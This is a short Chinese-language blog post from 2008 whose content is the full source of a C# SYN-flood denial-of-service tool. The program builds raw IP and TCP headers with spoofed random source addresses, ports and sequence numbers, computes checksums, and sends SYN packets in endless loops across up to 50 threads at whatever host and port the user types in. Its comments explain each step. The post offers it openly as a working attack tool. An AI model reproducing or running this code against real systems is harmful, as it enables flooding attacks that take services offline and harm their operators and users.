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C# DDOS 攻击工 代码

2008-12-27 11:14 253 查看
看看怎么做的ip

using System;

using System.Net;

using System.Net.Sockets;

using System.Threading;

//需要的命名空间不用解释了吧

namespace syn

{

public struct ipHeader

{

public byte ip_verlen; //4位首部长度+4位IP版本号

public byte ip_tos; //8位服务类型TOS

public ushort ip_totallength; //16位数据包总长度(字节)

public ushort ip_id; //16位标识

public ushort ip_offset; //3位标志位

public byte ip_ttl; //8位生存时间 TTL

public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)

public ushort ip_checksum; //16位IP首部校验和

public uint ip_srcaddr; //32位源IP地址

public uint ip_destaddr; //32位目的IP地址

}

public struct psdHeader

{

public uint saddr; //源地址

public uint daddr; //目的地址

public byte mbz;

public byte ptcl; //协议类型

public ushort tcpl; //TCP长度

}

public struct tcpHeader

{

public ushort th_sport; //16位源端口

public ushort th_dport; //16位目的端口

public int th_seq; //32位序列号

public uint th_ack; //32位确认号

public byte th_lenres; //4位首部长度/6位保留字

public byte th_flag; //6位标志位

public ushort th_win; //16位窗口大小

public ushort th_sum; //16位校验和

public ushort th_urp; //16位紧急数据偏移量

}

//这3个是ip首部tcp伪首部tcp首部的定义。

public class syn

{

private uint ip;

private ushort port;

private EndPoint ep;

private Random rand;

private Socket sock;

private ipHeader iph;

private psdHeader psh;

private tcpHeader tch;

public UInt16 checksum(UInt16[] buffer, int size)

{

Int32 cksum = 0;

int counter;

counter = 0;

while (size > 0)

{

UInt16 val = buffer[counter];

cksum += Convert.ToInt32(buffer[counter]);

counter += 1;

size -= 1;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >> 16);

return (UInt16)(~cksum);

}

//这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样

public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)

{

ip = _ip;

port = _port;

ep = _ep;

rand = _rand;

ipHeader iph = new ipHeader();

psh = new psdHeader();

tch = new tcpHeader();

sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);

//这2个挺重要,必须这样才可以自己提供ip头

}

//传参数的多线程需要用到代构造函数的对象。

static void Main(string[] args)

{

Console.WriteLine("1、输入攻击ip或域名");

try

{

IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());

uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序

Console.WriteLine("2、输入攻击端口");

ushort port = ushort.Parse(Console.ReadLine());

IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);

byte[] bt = BitConverter.GetBytes(port);

Array.Reverse(bt);

port = BitConverter.ToUInt16(bt, 0);

//要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样

Console.WriteLine("3、输入攻击线程,最多50个");

int xiancheng = Int32.Parse(Console.ReadLine());

if (xiancheng < 1 || xiancheng > 50)

{

Console.WriteLine("必须在1到50之间");

return;

}

Random rand = new Random();

Thread[] t = new Thread[xiancheng];

syn[] sy = new syn[xiancheng];

for (int i = 0; i < xiancheng; i++)

{

sy[i] = new syn(ip, port, ep, rand);

t[i] = new Thread(new ThreadStart(sy[i].synFS));

t[i].Start();

}

//一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊

}

catch

{

Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");

return;

}

}

unsafe public void synFS()

{

iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));

//ipv4,20字节ip头,这个固定就是69

iph.ip_tos = 0;

//这个0就行了

iph.ip_totallength = 0x2800;

//这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800

iph.ip_id = 0x9B18;

//这个我是拦截ie发送。直接添上来了

iph.ip_offset = 0x40;

//这个也是拦截ie的

iph.ip_ttl = 128;

//也是拦截ie的,也可以是128什么的。

iph.ip_protocol = 6;

//6就是tcp协议

iph.ip_checksum = UInt16.Parse("0");

//没计算之前都写0

iph.ip_destaddr = ip;

//ip头的目标地址就是要攻击的地址,上面传过来的。

psh.daddr = iph.ip_destaddr;

//伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。

psh.mbz = 0;

//这个据说0就行

psh.ptcl = 6;

//6是tcp协议

psh.tcpl = 0x1400;

//tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400

tch.th_dport = port;

//攻击端口号,上面传过来的

tch.th_ack = 0;

//第一次发送所以没有服务器返回的序列号,为0

tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));

//tcp长度

tch.th_flag = 2;

//2就是syn

tch.th_win = ushort.Parse("16614");

//拦截ie的

tch.th_sum = UInt16.Parse("0");

//没计算之前都为0

tch.th_urp = UInt16.Parse("0");

//这个连ip都是0,新的攻击方法有改这个值的

while (true)

{

// iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse("61.191.232.232").Address);

iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);

psh.saddr = iph.ip_srcaddr;

ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));

byte[] bt = BitConverter.GetBytes(duankou);

Array.Reverse(bt);

tch.th_sport = BitConverter.ToUInt16(bt, 0);

tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));

//上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序

iph.ip_checksum = 0;

tch.th_sum = 0;

//因为循环中,所以每次必须把这2个已有数的清0才可计算

byte[] psh_buf = new byte[sizeof(psdHeader)];

Int32 index = 0;

index = pshto(psh, psh_buf, sizeof(psdHeader));

if (index == -1)

{

Console.WriteLine("构造tcp伪首部错误");

return;

}

index = 0;

byte[] tch_buf = new byte[sizeof(tcpHeader)];

index = tchto(tch, tch_buf, sizeof(tcpHeader));

if (index == -1)

{

Console.WriteLine("构造tcp首部错误1");

return;

}

index = 0;

byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];

Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);

index += psh_buf.Length;

Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);

index += tch_buf.Length;

tch.th_sum = chec(tcphe, index);

index = 0;

index = tchto(tch, tch_buf, sizeof(tcpHeader));

if (index == -1)

{

Console.WriteLine("构造tcp首部错误2");

return;

}

index = 0;

byte[] ip_buf = new byte[sizeof(ipHeader)];

index = ipto(iph, ip_buf, sizeof(ipHeader));

if (index == -1)

{

Console.WriteLine("构造ip首部错误1");

return;

}

index = 0;

byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];

Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);

index += ip_buf.Length;

Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);

index += tch_buf.Length;

iph.ip_checksum = chec(iptcp, index);

index = 0;

index = ipto(iph, ip_buf, sizeof(tcpHeader));

if (index == -1)

{

Console.WriteLine("构造ip首部错误2");

return;

}

index = 0;

Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);

index += ip_buf.Length;

Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);

index += tch_buf.Length;

if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))

{

Console.WriteLine("构造iptcp报文错误");

return;

}

//上面这一大堆东西就是计算校验和的方法了,方法是

//1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和

//2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节

//3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和

//4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦

try

{

sock.SendTo(iptcp, ep);

Console.WriteLine("OK");

//构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了

}

catch (Exception eb)

{

Console.WriteLine(eb.Message);

}

}

}

public UInt16 chec(byte[] buffer, int size)

{

Double double_length = Convert.ToDouble(size);

Double dtemp = Math.Ceiling(double_length / 2);

int cksum_buffer_length = Convert.ToInt32(dtemp);

UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];

int icmp_header_buffer_index = 0;

for (int i = 0; i < cksum_buffer_length; i++)

{

cksum_buffer[i] =

BitConverter.ToUInt16(buffer, icmp_header_buffer_index);

icmp_header_buffer_index += 2;

}

UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);

return u_cksum;

}

//这个是计算校验,把那些类型不一样的全转为16位字节数组用的

public Int32 ipto(ipHeader iph, byte[] Buffer, int size)

{

Int32 rtn = 0;

int index = 0;

byte[] b_verlen = new byte[1];

b_verlen[0] = iph.ip_verlen;

byte[] b_tos = new byte[1];

b_tos[0] = iph.ip_tos;

byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);

byte[] b_id = BitConverter.GetBytes(iph.ip_id);

byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);

byte[] b_ttl = new byte[1];

b_ttl[0] = iph.ip_ttl;

byte[] b_protol = new byte[1];

b_protol[0] = iph.ip_protocol;

byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);

byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);

byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);

Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);

index += b_verlen.Length;

Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);

index += b_tos.Length;

Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);

index += b_totallen.Length;

Array.Copy(b_id, 0, Buffer, index, b_id.Length);

index += b_id.Length;

Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);

index += b_offset.Length;

Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);

index += b_ttl.Length;

Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);

index += b_protol.Length;

Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);

index += b_checksum.Length;

Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);

index += b_srcaddr.Length;

Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);

index += b_destaddr.Length;

if (index != size/* sizeof(IcmpPacket) */)

{

rtn = -1;

return rtn;

}

rtn = index;

return rtn;

}

//这个是把ip部分转为字节数组用的

public Int32 pshto(psdHeader psh, byte[] buffer, int size)

{

Int32 rtn;

int index = 0;

byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);

byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);

byte[] b_psh_mbz = new byte[1];

b_psh_mbz[0] = psh.mbz;

byte[] b_psh_ptcl = new byte[1];

b_psh_ptcl[0] = psh.ptcl;

byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);

Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);

index += b_psh_saddr.Length;

Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);

index += b_psh_daddr.Length;

Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);

index += b_psh_mbz.Length;

Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);

index += b_psh_ptcl.Length;

Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);

index += b_psh_tcpl.Length;

if (index != size)

{

rtn = -1;

return rtn;

}

else

{

rtn = index;

return rtn;

}

}

//这个是把tcp伪首部转为字节数组用的

public Int32 tchto(tcpHeader tch, byte[] buffer, int size)

{

Int32 rtn;

int index = 0;

byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);

byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);

byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);

byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);

byte[] b_tch_lenres = new byte[1];

b_tch_lenres[0] = tch.th_lenres;

byte[] b_tch_flag = new byte[1];

b_tch_flag[0] = tch.th_flag;

byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);

byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);

byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);

Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);

index += b_tch_sport.Length;

Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);

index += b_tch_dport.Length;

Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);

index += b_tch_seq.Length;

Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);

index += b_tch_ack.Length;

Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);

index += b_tch_lenres.Length;

Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);

index += b_tch_flag.Length;

Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);

index += b_tch_win.Length;

Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);

index += b_tch_sum.Length;

Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);

index += b_tch_urp.Length;

if (index != size)

{

rtn = -1;

return rtn;

}

else

{

rtn = index;

return rtn;

}

}

//这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。

}

}
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